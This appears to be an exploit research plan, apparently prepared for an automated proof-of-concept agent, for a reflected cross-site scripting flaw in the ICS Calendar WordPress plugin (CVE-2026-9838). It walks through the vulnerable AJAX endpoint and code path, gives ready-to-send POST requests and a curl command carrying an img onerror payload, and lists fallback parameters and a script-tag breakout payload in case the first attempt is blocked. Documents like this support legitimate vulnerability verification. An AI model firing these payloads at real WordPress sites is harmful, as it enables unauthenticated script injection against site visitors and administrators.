ICS Calendar <= 12.0.9 - Reflected Cross-Site Scripting via 'htmltagtitle' Parameter

This research plan outlines the steps for a Proof-of-Concept (PoC) exploit for CVE-2026-9838, a reflected Cross-Site Scripting (XSS) vulnerability in the ICS Calendar plugin for WordPress.

1. Vulnerability Summary

The ICS Calendar plugin (up to version 12.0.9) is vulnerable to unauthenticated Reflected XSS. The vulnerability exists because the unauthenticated AJAX action wp_ajax_nopriv_r34ics_ajax (located in r34ics-ajax.php) accepts a js_args parameter containing configuration overrides. These overrides are merged into the calendar's rendering configuration without sufficient sanitization or nonce verification. Specifically, the htmltagtitle parameter—intended to specify the HTML tag used for calendar titles (e.g., h2, h3)—can be manipulated to inject arbitrary HTML tags and JavaScript event handlers.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: r34ics_ajax (Unauthenticated via wp_ajax_nopriv_r34ics_ajax)
• Vulnerable Parameter: js_args[htmltagtitle]
• Authentication Required: None (Unauthenticated).
• Preconditions: The plugin must be active. While the description mentions merging over "stored shortcode configuration," reflected XSS typically triggers even if a specific stored configuration is not found, as the AJAX handler attempts to render a calendar view based on the provided parameters.

3. Code Flow

1. Entry Point: The request hits admin-ajax.php with action=r34ics_ajax.
2. AJAX Handler: wp_ajax_nopriv_r34ics_ajax is triggered. The handler (in r34ics-ajax.php) retrieves the js_args array from the request.
3. Configuration Merge: The plugin merges js_args into the default configuration array ($shortcode_defaults in class-r34ics.php).
4. Bypass: The AJAX path fails to apply the allowlist validation normally used when processing standard WordPress shortcodes.
5. Sink: The merged configuration is passed to the rendering logic. When generating the calendar HTML, the value of htmltagtitle is used as a literal tag name in a string concatenation or template (e.g., <{$htmltagtitle}>... </{$htmltagtitle}>).
6. Reflection: The injected tag (e.g., img src=x onerror=alert(1)) is echoed into the HTTP response.

4. Nonce Acquisition Strategy

According to the vulnerability description, this specific AJAX action does not require nonce verification for the unauthenticated nopriv hook.

• Nonce Check: Absent or bypassed for wp_ajax_nopriv_r34ics_ajax.
• Verification: If the exploit fails with a 403 Forbidden or 0 response, the PoC agent should check if a nonce is enqueued on pages containing the [ics_calendar] shortcode.
• JavaScript Variable (if needed): window.r34ics_ajax?.nonce (inferred).

5. Exploitation Strategy

The goal is to trigger an alert box in a browser context by sending a malicious htmltagtitle value via the AJAX endpoint.

Step 1: Construct the Payload

We will use an <img> tag with an onerror handler to trigger JavaScript execution.

• Payload: img src=x onerror=alert(document.domain)
• Request Parameter: js_args[htmltagtitle]=img+src%3Dx+onerror%3Dalert(document.domain)

Step 2: Dispatch the Request

Using the http_request tool, send a POST request to the AJAX endpoint.

• Method: POST
• URL: http://<target-ip>/wp-admin/admin-ajax.php
• Headers:
  • Content-Type: application/x-www-form-urlencoded
• Body:
  action=r34ics_ajax&js_args[htmltagtitle]=img+src%3Dx+onerror%3Dalert(document.domain)&view=list

Note: Adding view=list or url=https://example.com/feed.ics (a placeholder) may be necessary to ensure the rendering engine triggers the title output.

6. Test Data Setup

1. Install Plugin: Ensure ICS Calendar <= 12.0.9 is installed and activated.
2. Create Feed (Optional): To ensure the rendering logic completes, it may help to have a dummy page with the shortcode.

   wp post create --post_type=page --post_title="Calendar Test" --post_status=publish --post_content='[ics_calendar url="https://icscalendar.com/preview/sample.ics"]'
   

7. Expected Results

• HTTP Response: Status 200 OK.
• Response Body: Should contain the injected payload verbatim:

  <img src=x onerror=alert(document.domain)>...</img>
  

• Browser Execution: If viewed in a browser, an alert box showing the document domain will appear.

8. Verification Steps

1. Manual Verification: Use http_request to fetch the URL and check for the payload in the body.
2. Automated Check:

   # Use grep to find the reflected payload in the response
   curl -s -X POST http://localhost:8080/wp-admin/admin-ajax.php \
     -d "action=r34ics_ajax" \
     -d "js_args[htmltagtitle]=vulnerable_tag" | grep "vulnerable_tag"
   

9. Alternative Approaches

If the htmltagtitle parameter is specifically blocked or the <img> tag fails, try other htmltag* parameters defined in class-r34ics.php:

• js_args[htmltagdate]
• js_args[htmltageventtitle]
• js_args[htmltagmonth]

Payload variation for attribute breakout:
If the tag name is used inside an existing tag (e.g., <div class="<?php echo $htmltagtitle; ?>">), use:

• "> <script>alert(1)</script>